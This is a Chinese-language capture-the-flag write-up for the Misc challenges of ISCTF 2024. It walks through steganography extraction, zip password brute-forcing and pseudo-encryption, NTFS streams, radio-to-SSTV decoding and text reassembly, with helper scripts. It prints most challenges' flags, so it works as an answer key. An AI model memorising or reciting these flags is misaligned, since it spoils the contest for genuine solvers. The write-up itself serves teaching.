## 一、Misc

### 小蓝鲨的签到01

拼图扫码，在蓝鲨公众号发送`ISCTF2024`即可获得flag

### 小蓝鲨的签到02

出题人：Shlune

解题过程：

010editor打开后查找ISCTF得到

![img](./images/1756168629955-1.png)

ISCTF{blueshark!_@#2024$%^&*}

### 数字迷雾：在像素中寻找线索

出题人：Shlune

解题过程：

根据题目关键词“像素”，“色彩”等

先提取图像每个像素红色通道的LSB，再将提取出的二进制数据转换为字符串。

![img](./images/1756168637023-4.png)

脚本：

```Python
from PIL import Image

def extract_LSB_from_image(image_path):
    img = Image.open(image_path)
    binary_data = ""
    for y in range(img.size[1]):
        for x in range(img.size[0]):
            r, g, b = img.getpixel((x, y))
            binary_data += bin(r)[-1]  # 获取红色通道的LSB
    return binary_data

binary_data = extract_LSB_from_image("output.png")
def binary_to_string(binary_data):
    n = 8
    return ''.join(chr(int(binary_data[i:i+n], 2)) for i in range(0, len(binary_data), n))

flag = binary_to_string(binary_data)
print(flag)
```

ISCTF{+9qn1DKdun!glAK}

### 少女的秘密花园

出题人：Shlune

解题过程：

解压题目附件得到一张图片，使用binwalk查看发现藏了个base_misc文件

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWM3MjAzZWI2NzQ3NWJkZTMyNzUxMDM4M2NhNDI2ZDhfbjF2RklTWnpHdVVXS1RmaFIzTmNIRHptcUJRTXZUMVZfVG9rZW46TkJURWJvNmVNb29LbGZ4RmhubWNSTlA1bkVoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

使用foremost分离出来

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OTNmZmVkYWQxNjJiOWVkZjRlMzgwMGY0ZDU0Yzg4YTZfSUl5ZHpqVUw2UVA3UEJKMlZ3bUdHWWxhSjd3aEEyOWJfVG9rZW46VW9QTmJhOEN4b2VYNmJ4ZkRIcWNOUFQybk1kXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

查看base_misc的文件头为504B0304，是压缩包

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=M2YzYjhkYTAzMGIwYTBlOGQ5NmEzZDIzNzIwZTI2ZDhfVUs1MmNPMHlQTVdVRXV0T2YzS0pOcGlKMkoyU2ZpQlpfVG9rZW46RU42aGJlS1ZVb1lnY1h4SVJTbGNScGVubjdkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

发现压缩包被加密了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YjZkZGM3ZDJhMzU0NTkxMmZiMWFkMDQ5OTRlZGI3NGRfamZubkJCRk40cFo4TDZVTHpqZFVhZFpXWGpjeENQNUtfVG9rZW46RG9DRmJLNlBKb3RZaUF4a2hmNmNubkhrblNkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

爆破得到密码040714

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NmEwNmVjYTdkMjVkYTY5ODZlZDlmMzViNDMzN2FiMzdfWm1KelpoZGVRaFdlZUxJSEhPZE1DRjJ4UHZYZnZxYWlfVG9rZW46SThVS2JDNkVhb1FqdHV4Y2lscGMyYkJPbmlnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

解压出来得到base64的一串数据，先尝试解一部分发现是png

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YWIyYzY1NjQyNjdlNWYzNjc2YTUxZjJiZjIxMzg3MzhfZFZXT0t0UVJBRlpEdzZMOUtWMFpzSTlQY2VGdG80T0FfVG9rZW46Q3FZVWJqeXBCb1ZoRE14SEtPc2NPa2xtbnZjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

使用在线网站转成图片https://www.lddgo.net/convert/imagebasesix

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWZmYmMyNmU2YmY1NTc4M2JhNWM2Nzg2MTZhZTY5YWZfVHdndkVKZ3dYZTlBZERBWWhTdXZiOXFCajZ6OHZ2NTFfVG9rZW46UHNzU2JHNWhrbzAzcVF4V0JlTWN2STVUblVmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

得到一张高度残缺的图

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTYxYTUxZDA4MzA4OTQ5MTAxODVkYWM4MDNhODJhMmVfME9TR2tTTElNcFdNM2trT1JSYnNrOUNWUTBoSHg4N2VfVG9rZW46S0VONGJZRWZPb29ZQVV4c3U4QmN2ZjFqbmxTXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

010里改高一点就行，或者crc爆破出来原始的

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NGI3MmExYWJmMDEyZWE1ZDZhZTMwMTQ5MzU1NWVjNzlfS3JGdEMzek9oRml0OVpmbkEzYmsxVlM0YkpNdlRLNTFfVG9rZW46TWp4OGIxNjV5b3llMW94bnBRYmNzOWZrblpnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

得到完整密文图片

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWFjNDIzODQ2M2MyZGMyOTBlNDY1YjQ2YWEzMjllZDRfajcwSVBZaGNIVmRGUzY3dUFubEFjeUxSY2trYkhwUFlfVG9rZW46WE5XbmJEU2p5b0NxVVd4SlFvamN6bGFDbmFnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里就靠脑洞了，每个子块是2*3的长方形，对应盲文

网上找到盲文对照表

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OGYxNDk1YzllMzY0Mjc0MGUyOTIxYTdkNTkxZGFhNTBfc0JSeFlzV2dTN1RLMEVJUTYwalpSSVptNGgzblNzSFJfVG9rZW46THY0UWJ4VnFib3dyUkp4UGRQb2NjS1NObkRoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

由于只有两种区分，蓝色为字母，红色为数字，且最后三个是一样的，故有可能为base32（仅有大写字母，数字，及等号）

对照手搓出来

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZGViYjNjZWUwODFhZDNiNGUwNjdhODg3ZDg3Mzc2MmRfODJwSnpyS1ZScnJVN3NXNWFsenFTYnlEVDRzRnZxWnBfVG9rZW46WWpOTGJuaEdUbzdyVTR4a3hlbWMydzRpbnJiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

最后，base32解密得到flag

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MzFjYTc3Mzg4MGZiMDI3MzU2MGE5ODMxZTY5NTJlMzlfcEthRG5KMVBYTDVwYXRrQ2VqcVozOFlDRUtCY3kwTEpfVG9rZW46TnB5aWJWU2Fkb3VncEF4blQ5YWNYbWJnbnhkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

ISCTF{C0me_0n_fr35hm3n}

### 赢!rar

出题人：秋雨样

解题过程：

预期解：

> 考点:UUencode、XXencode、NTFS流隐写

根据题目名称,可以猜测使用`win rar`软件打开,这是由于只有`winrar`会保存NTFS信息

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MWJlMmVlN2M2MTkzYmM0ZjA1M2NlNjM1YTA5Y2EzN2FfeXE3TVpPZHBwQVNaWFF6UTZCRDlGMW9LdFhZdUN6VFRfVG9rZW46S3Q1OWJIWjZxb09waTB4aU9mVmNvM25hbkpkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

解压的时候发现需要密码,在注解中可以发现

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWQ5Yjc1NzU1MTE5NjFmNzFiZmNmMmE4Mzk2ZDUyNzZfUktzdWlVenJkVlhhWktRaDN4M05xNDNINWNPUWlkcWdfVG9rZW46WHA1amJ1SkREb2VBcWt4TXdSdmNIQXV4bldkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

随便打开一个文件

```Plain
3Z+^9Z8>,YK*AYIR)9FQA9^63I@
```

可以发现它的编码表与base64相似,但是有很多特殊字符,猜测可能是UUencode

[在线工具](http://www.hiencode.com/uu.html)解密即可

http://www.hiencode.com/uu.html

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDgyZWZhMjczMDJlNTE4MjU4M2Q4ZTExYjdmNjcwMjBfelpZcUtUbXVLb2ZSaUY0MksyNDg3eUhpcXNkMERXa1VfVG9rZW46V0FkRmJqUG5ib2plb254QjdJRGN6OVVsblRjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

如果你有耐心的话会发现全部都是这个

这里留了一个提示,有一个文件的修改日期与其他的不同,但是点开之后依然是上面那段

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWJjY2Y3YjMwMjRmMGRjNTI4ZGUzZjJmNDZkYzAxZGRfVERyYXcwcVV4SXZabHJBdkREakx1NFpFZmdCU0hkY2dfVG9rZW46S2U3SGJEVHBRb1paaW54eVA4d2NOYjk5bmpQXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

再结合`winrar`猜测是NTFS隐写,使用`labs`检测

下载链接

https://cdisk.imxbt.cn/api/v3/file/download/5D2TiHSUJurze05N?sign=03FOLoIHLa0jyyc-KqG34YsE_M62gUpKog0kd14F6G0%3D%3A1730887158

```Plain
lads.exe /S
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ODhlMzdmYTg4YjAyZjQwN2JiY2M2MzI4YzUzOTA3YmRfWFgwdG1pM3BjSUZkZkV3UHRFNG9xeEQwV1JqN1RPNFJfVG9rZW46SDFJbGJ3c1NZbzdMM1h4bUZLZGNhR3E3bkhlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

再用`notepad`打开即可

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YWYyYmZmZTQ0Y2QzMjMxYjY3NTcyY2JkYzRmZGNkNmJfSGlEVmdoT01KckpJRHFmYkhETGN2T0VMR1Q0d1NWaURfVG9rZW46T0U1NmJhMW1Cb283V0R4Um5EWWNXZVdCbmVnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

可以发现它的编码表与base64相似,猜测可能是`XXencode`解密即可

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MWNlOWNkNWI2ZmFhMTc3NDdkMzc0NmQ4NmNiNDgzZjVfVjhDVjRQRXZIS2k4RzVrWVpyZFR0VVlZcUpFZEhBMzFfVG9rZW46WjdqS2JjejVpbzQxZU94dEJ4a2M5bkxUbktoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

非预期解：

现在用360压缩和7-zip打开压缩包可以直接看到ntfs隐写，无敌了360压缩

### 游园地1 

出题人：guoql

解题过程：

1这个就是个简单的图寻

百度识图就出了

随便点进去就能找到是武汉中山公园

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NjI4MGYwZGYxN2NjYzM1ZGJjODZlYTcyZGU4YTU0MWVfYnVDREtEM3RVVUIyR1E4ZXNHeEFvNnlENEd0dDdyWDFfVG9rZW46UHJ6c2JtUkFnb2Z3Rm14Y2xRRGM5Z3EybjRkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDZhNmZiYmJlNDczZjFiZjdhMWE5N2M1M2ZiMTIyNmZfd3dtTmhVdmdDZU1qZDRkVXQ0ckY3ZTU1RnZ1aG45b0tfVG9rZW46SHZjaGJra0xLbzN1RWN4NnZWbGM2N2xYbnRiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 游园地2

出题人：guoql

解题过程：

well，首先要说的是，其实图寻1也是圣地巡礼的一部分（）

这个中山公园啊，包是三色绘恋的圣地巡礼的（）

这题其实用对工具就能秒，不过本意是让大伙放松放松，也没出太难

不过还是被谷歌地图非预期搜出来了（还得是谷歌）

地点是菱角湖公园的附近

地址是鸣笛1988商业街

至于游戏嘛，肯定是恋爱绮谭了。

### 来自天外的信息

出题人：deoplljj

解题过程：

`signal.7z`里面就一个文件，根据题面以及文件名signal的提示，这应当是一个原始的信号文件，文件名中包含一些信息：

```Plain
fm-complex64-sample_rate-320khz-dec_ratio-20_1
 |------|----------|-----------------|---------调制类型
        |----------|-----------------|---------信号数据类型
                   |-----------------|---------采样率
                                     |---------抽取率                                   
```

**Step 1 - FM调制解调**

由以上分析可知，这是一个以`complex64`格式存储，经过FM调制后的原始信号文件，采样率是320KHz，抽取率是原始信号与实际有效信号之比，为20:1。

*方法一：Gqrx*

以文件的方式定义输入，根据已知参数填写以下信息：

其中`Device string`一栏：

```Go
file=fm-complex64-sample_rate-320khz-dec_ratio-20_1,freq=100000000000,rate=320000
```

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTY3ODEyZTg5MTUwNzBhMjVmYjc1MWJlOGFhZTg3ODVfaERQbGk1VU1wdm1hQW4zd0kweDdQc0pVRGl0WFVKbDhfVG9rZW46WEg0NmJ2dXREb2Z2bUd4STRDMWMwQ3FJbno0XzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ODkwZjA1ODY1MGNmMTVjNWUzNTc3MzEyOTM1MWZmMmFfS20yWHVkampOSjI1d2FVUHRNcGk2cDdzWnFvMlRwNDlfVG9rZW46VFZQMmIydXc1b3ZSTnd4cUh4SGM2c3NnbjJ5XzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

Receiver Options里面的Mode选Narrow FM，即可听到FM解调后的声音

右下角点Rec即可录制为`.wav`文件，但是需要注意需要录制上开头。

*方法二：GNU Radio解调*

按照如下流程图，填入已知参数：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YjU2ZTFlYWI3YzI1YmQ5MDA1ZTdjNDg4Zjc5ZGM5YmNfWFpTbnJuZXVtcjdqS1lVZ3hoNDlnZ1RrdE56Mk1XTnJfVG9rZW46UFZZbmJZd0N4bzkwVU94dkY0aGM5cFBQbnBjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

需要注意一下的是，Audio Rate是降采样后的频率，Quadrature Rate才是信号的原始频率，由于抽取率是20:1，因此音频的频率是320/20=16kHz

*方法三：py手撕FM*

```Python
import numpy as np
from scipy.signal import decimate
from scipy.io.wavfile import write

# 读取complex64格式的信号文件
signal = np.fromfile('fm-complex64-sample_rate-320khz-dec_ratio-20_1', dtype=np.complex64)

# 解调FM信号
phase = np.angle(signal)
phase_diff = np.unwrap(phase[1:] - phase[:-1])
audio_signal = np.diff(phase_diff)

# 降采样到16kHz(抽取率是20:1)
downsampled_audio = decimate(audio_signal, 20)

# 应用增益
gain = 30.0  # 增益因子，调整这个值来提高音量
amplified_audio = downsampled_audio * gain

# 归一化
max_amplitude = np.max(np.abs(amplified_audio))
if max_amplitude > 1.0:
    amplified_audio /= max_amplitude  # 归一化到[-1, 1]

# 保存为WAV文件
write('output_audio.wav', 16000, amplified_audio.astype(np.float32))
```

**Step 2 - SSTV**

上一步最终都会得到一个音频文件，试听信号以及结合题面信息，通过网上有关搜索可知，这是一段SSTV信号，SSTV解调的软件有非常多，随意选用一个即可。

如果解调出来的图像非常脏（如下图所示），可能有两种情况：一是使用了扬声器-话筒来传输SSTV音频，噪声会导致图像失真；二是上一步解调没做好，本题正确解析出来的图片是比较清晰的。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MjlmMThkM2Q4ZTA0MjAyZDQ2YmFkYTMwNDM3MmUzMDJfd3A1QWJ1dkRlWGFVc1ZMMm80Znd0UDZIQnBXSEdodEtfVG9rZW46RE5SOWJPdjlwb0VadkZ4WVRsRGNWU29HbmFoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

正确解调后的图片应当如下：

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NjFmYWU1OGNiNDI4Y2I3ZjFjODVjOTY4ZTczMDQ2NDJfR29WT2VYTFIzYzNia1p3Y2NSWnpJckdLc2hUZDVDQXJfVG9rZW46RnpmZWJidU0wbzJUV3h4TU10QWNkUkllbmtjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

**Step 3 - 二维码修复**

图中四个二维码碎片利用画图软件或者PS按照原有顺序合并在一起（注意缩放对齐），space单词的右边很贴心的给出了这个二维码的定位块，补上即可

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MzVmZjZiNTY2OWE1ZDFkZTRjMDY5MzIwNjk2ZWJjYzFfUFhrSjRpSjZKU3FtUmNpMHdjb2hlYTVqa2RoWXJYVDRfVG9rZW46WDhsY2JaWFZlb1pxNHN4RUtPT2MzaFpWbmdnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

扫描后即为flag：

```Go
ISCTF{Th3_ROmaNtic_Of_Rad1o}
```

### 秘密

出题人:CrispSheep

解题过程：

下载得到一个zip压缩包，解压提示要密码

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZGIyYWFlNGYyZjM3ZmM0NDQwODliNzNkZmUyMmM5Y2VfVW1QeTlEa283dTgySnN5elN5bDVFa3FqZ3VlVTltejFfVG9rZW46U2Rha2I0bXRBb2xSUGN4b1c5RGNzZGYxbm1lXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

先拖到010查看是不是伪加密，查看到是伪加密把09修改成00

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MDRkMzJjZGM3N2I3ODk2OTc0MjdiYWUwOTQ2ZjYzYjdfVzYwYVVHREVqVkM4V2JTdzhjV3FDamMxVVRsOERjN1ZfVG9rZW46RUdlcmI0WjFCb1FBQ1l4ZnF2OGN3SFpTbmdlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTZiZDEzYWRlY2VhZmVjODMyM2Q5YmYyYzk5NzUyYTdfUFA2RXVzVWRXcXp0eUd5SE5mNWdtdkR4QmpqTkhSNFpfVG9rZW46WFhFR2JBcndPb0RKd1V4SDRvRGNYYWFIbmtiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

保存后成功解压出图片，我们观察到图标下面有一条红色的线而且右边有一个红色突起的块，可以推测图片内的数据被修改过了，而且题目反复强调我们的秘密，这里考察的是OurSecret文件隐藏， OurSecret提取隐藏文件的时候是需要密码的，在图片数据中我们可以找到密码

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDlkNmExMThmNmQxZTM4NzQ3YjZlMGFmZjEyN2M2OTlfWnJUbG5jaXBsZlNlcVJCMjRPTlh4QkltTWNZdUFXZ3dfVG9rZW46SDV4WmJNbmdrbzU3YjB4VUxoWWNiSDRTbjdjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

输入密码后可以得到一个txt文本

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YjllMTRkNjI3YWMxOTlkYWU5MTQwZDUzY2NjZTk5YjBfMDl6R0ppdDNIWWh6VUl5MTVYUW5saGQxblhURjBBRDFfVG9rZW46WFZveWJTZXNxb2FxYkF4dzBiNWNiNk5UbjZmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里考察的是零宽隐写，Ctrl+A选中是215个字符，鼠标选中是209，有不可打印/不可见的字符，想到零宽隐写

得到flag

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZWU4OWMxZTI3MTllMTY2N2Q1MmNiZjM5MTYxMDlmNWJfaGtxRnphZ2piYkM1RjRLODFnM1A4Y1B6MXZVdTl4cmRfVG9rZW46SXV6amI2OE1kb3FLQUF4eFdiaGNiVkhRbkJoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 像素圣战

出题人:CrispSheep

解题过程：

考察的PixelJihad隐写，信息提取，二进制转字符

Pixel是像素的意思，Jihad是圣战，我最后放hint不要总把解题思路局限在题目本身，题目的名字，图片的状态这些都是蕴含的信息。

下载附件解压出来，发现图片是倒着的，题目的名字就是隐写的名字，PixelJihad隐写是需要密码的，密码就是描述里的ISCTF，输入密码后得到一串二进制

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MDU3NWMzZWEyNjdlODYyM2NjYmVlMGFkNDcwYzk3NmFfWG1BSGJqN1NDRDBiWHFtRFdrQzhVUGt3OFJDVVVTOHRfVG9rZW46T01kUmJIQTQ1b2NEd2h4RzJpWmNzZ1VqbmpoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

我们可以发现这里只有182个字符

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZDUzNmFjNzljZWZiMjA4Njg5ODAxMTI0NTk4YTMxZmVfS2dsNTJDNEYycUg0ZkxiNWRNajdNT2hCRUs0ZVI3dGpfVG9rZW46S2NhamJwSDNmb0dDQlN4ZWJvMWNXSHNRblRmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

直接二进制转字符是乱码，这里要记得图片是倒着的，需要把得到的二进制数据反转一下，同时正常的二进制转字符是8位一个字符，但182很明显不是8的倍数，但是符合7位的，可以在每七个前加个0，或者直接用[CyberChef](https://ctf.mzy0.com/CyberChef3/#)，byte length修改成7，得到flag

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTZhNTc4OWVmYzBiMGJkOTViNTYxMmEwZDU1MGZhYjlfUmR1UlpXb1p0TkNRSzVibnExMkI4THF4c2pqTmYyeEFfVG9rZW46RU04N2JEbm9sb3E3ZG94Q0c5SGNhZmU1bndnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

### 奇怪的txt

出题人：

解题过程：

根据提示，搜索可以知道这是约瑟夫斯算法，137个数字排成一个圈，每次点到7的时候就出列，直到最后一个数字排完，那根据给出的137个txt，不难想到是要把这些字符串按照一个顺序去组合排序。那先编写约瑟夫斯算法把这个顺序算出来。算法如下：

```C++
#include<bits/stdc++.h>
using namespace std;
int a[150]={0};   
int main()
{
        int N,M;
        int cnt=0,i=0,k=0; 
        cin>>N>>M;   
        while(cnt!=N) 
        {
                i++;   
                if(i>N) i=1;  
                              
                if(a[i]==0)    
                {
                        k++;
                        if(k==M)      
                        {
                                a[i]=1;   
                                cnt++;   
                                cout<<i<<" ";  
                                k=0;     
                        }
                }
        }
        return 0;
} 
```

得到序列：

```Python
7 14 21 28 35 42 49 56 63 70 77 84 91 98 105 112 119 126 133 3 11 19 27 36 44 52 60 68 76 85 93 101 109 117 125 134 5 15 24 33 43 53 62 72 81 90 100 110 120 129 1 12 23 34 46 57 67 79 89 102 113 123 135 9 22 37 48 61 74 87 99 114 127 2 17 31 47 64 78 94 107 122 137 18 38 54 71 88 106 124 6 26 45 66 86 108 130 13 39 59 83 111 132 25 51 80 104 136 30 65 96 128 29 69 103 8 50 95 4 55 115 20 82 10 75 16 97 41 131 118 116 121 40 92 32 58 73
```

按照这个序列提取txt的字符进行合并：

```Python
import os
# 设置文件夹路径和输出文件路径
folder_path = ("奇怪的txt")
output_file_path = "output_file.txt"

# 给定字典，包含文件名和对应的数字顺序
file_order = {
"7.txt": 1 ,
"14.txt": 2 ,
"21.txt": 3 ,
"28.txt": 4 ,
"35.txt": 5 ,
"42.txt": 6 ,
"49.txt": 7 ,
"56.txt": 8 ,
"63.txt": 9 ,
"70.txt": 10 ,
"77.txt": 11 ,
"84.txt": 12 ,
"91.txt": 13 ,
"98.txt": 14 ,
"105.txt": 15 ,
"112.txt": 16 ,
"119.txt": 17 ,
"126.txt": 18 ,
"133.txt": 19 ,
"3.txt": 20 ,
"11.txt": 21 ,
"19.txt": 22 ,
"27.txt": 23 ,
"36.txt": 24 ,
"44.txt": 25 ,
"52.txt": 26 ,
"60.txt": 27 ,
"68.txt": 28 ,
"76.txt": 29 ,
"85.txt": 30 ,
"93.txt": 31 ,
"101.txt": 32 ,
"109.txt": 33 ,
"117.txt": 34 ,
"125.txt": 35 ,
"134.txt": 36 ,
"5.txt": 37 ,
"15.txt": 38 ,
"24.txt": 39 ,
"33.txt": 40 ,
"43.txt": 41 ,
"53.txt": 42 ,
"62.txt": 43 ,
"72.txt": 44 ,
"81.txt": 45 ,
"90.txt": 46 ,
"100.txt": 47 ,
"110.txt": 48 ,
"120.txt": 49 ,
"129.txt": 50 ,
"1.txt": 51 ,
"12.txt": 52 ,
"23.txt": 53 ,
"34.txt": 54 ,
"46.txt": 55 ,
"57.txt": 56 ,
"67.txt": 57 ,
"79.txt": 58 ,
"89.txt": 59 ,
"102.txt": 60 ,
"113.txt": 61 ,
"123.txt": 62 ,
"135.txt": 63 ,
"9.txt": 64 ,
"22.txt": 65 ,
"37.txt": 66 ,
"48.txt": 67 ,
"61.txt": 68 ,
"74.txt": 69 ,
"87.txt": 70 ,
"99.txt": 71 ,
"114.txt": 72 ,
"127.txt": 73 ,
"2.txt": 74 ,
"17.txt": 75 ,
"31.txt": 76 ,
"47.txt": 77 ,
"64.txt": 78 ,
"78.txt": 79 ,
"94.txt": 80 ,
"107.txt": 81 ,
"122.txt": 82 ,
"137.txt": 83 ,
"18.txt": 84 ,
"38.txt": 85 ,
"54.txt": 86 ,
"71.txt": 87 ,
"88.txt": 88 ,
"106.txt": 89 ,
"124.txt": 90 ,
"6.txt": 91 ,
"26.txt": 92 ,
"45.txt": 93 ,
"66.txt": 94 ,
"86.txt": 95 ,
"108.txt": 96 ,
"130.txt": 97 ,
"13.txt": 98 ,
"39.txt": 99 ,
"59.txt": 100 ,
"83.txt": 101 ,
"111.txt": 102 ,
"132.txt": 103 ,
"25.txt": 104 ,
"51.txt": 105 ,
"80.txt": 106 ,
"104.txt": 107 ,
"136.txt": 108 ,
"30.txt": 109 ,
"65.txt": 110 ,
"96.txt": 111 ,
"128.txt": 112 ,
"29.txt": 113 ,
"69.txt": 114 ,
"103.txt": 115 ,
"8.txt": 116 ,
"50.txt": 117 ,
"95.txt": 118 ,
"4.txt": 119 ,
"55.txt": 120 ,
"115.txt": 121 ,
"20.txt": 122 ,
"82.txt": 123 ,
"10.txt": 124 ,
"75.txt": 125 ,
"16.txt": 126 ,
"97.txt": 127 ,
"41.txt": 128 ,
"131.txt": 129 ,
"118.txt": 130 ,
"116.txt": 131 ,
"121.txt": 132 ,
"40.txt": 133 ,
"92.txt": 134 ,
"32.txt": 135 ,
"58.txt": 136 ,
"73.txt": 137 ,}

# 对字典进行排序，根据数字顺序
sorted_files = sorted(file_order.items(), key=lambda x: x[1])

# 打开输出文件，准备写入
with open(output_file_path, "w") as output_file:
    # 遍历排序后的字典
    for file_name, _ in sorted_files:
        # 构建完整的文件路径
        file_path = os.path.join(folder_path, file_name)
        # 确保是 txt 文件
        if file_path.endswith(".txt"):
            # 打开文件并读取内容
            with open(file_path, "r") as file:
                content = file.read()
                # 将内容写入输出文件
                output_file.write(content)

# 输出文件已创建，内容已合并
```

得到字符串后base64爆破一下就能得到flag

```Python
import base64
Sstr=''
with open('output_file.txt', 'r', encoding='UTF-8') as f:
    Sstr="".join(f.readlines()).encode('utf-8')
src=Sstr
while True:
    try:
        src=Sstr
        Sstr=base64.b64decode(Sstr)
        str(Sstr,'utf-8')
        continue
    except:
        pass
    break
with open('result.txt','w', encoding='utf-8') as file:
    file.write(str(src,'utf-8'))
print('ok')

#   ISCTF{@!98sw-&^si92-2$#334-2024!!}
```

### Starry Sky

拿到附件首先分析

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTkyZTI3ZmM4MWZiNmQwNDk0ZDUwYzc5Y2FmODMwMjlfdzZwUXNGOFJRQUVneFZucHg0Rzg5aVdvZk5IWUszOUJfVG9rZW46Vmx2bWJUY1NLb2xoZzF4ZWF3TWNaMUk3blljXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

一个加密后的字符串，是flag，一个名字为xor的文件，猜测是某个文件经过xor处理后的结果，一张图片。

用010Editor打开图片，是base64编码后的内容，直接拿去base64解码。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTQwMTlhMmZkOWUzNTM2Y2E1ZjFiNDg0MDE3YWEzM2Nfd2t3WWZTdTFlUzBKM0wzQU1MbEJYOTMzWTBpNzU3Y3NfVG9rZW46U3pIZmJ6eTRib1VNZTF4MnoxVWNSM293bkRiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

直接拉到文件末尾，找到xorkey：FF，对文件整体进行xor FF操作。

看文件头，发现是wav文件，添加拓展名。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MjU0ZGU1NTBlMmY5ZDdmMzU5Y2RmNmYxYjdkMGUzMWVfN2xLanY1TDk1QnJmNHVDbmV1WWNSd1M5dHp0cDBsRDVfVG9rZW46T0p6TmJrS1RDb0lCc3N4NnVqV2NyQWZzbnBkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

直接听，再结合题目描述推测出是SSTV音频，直接解码音频。

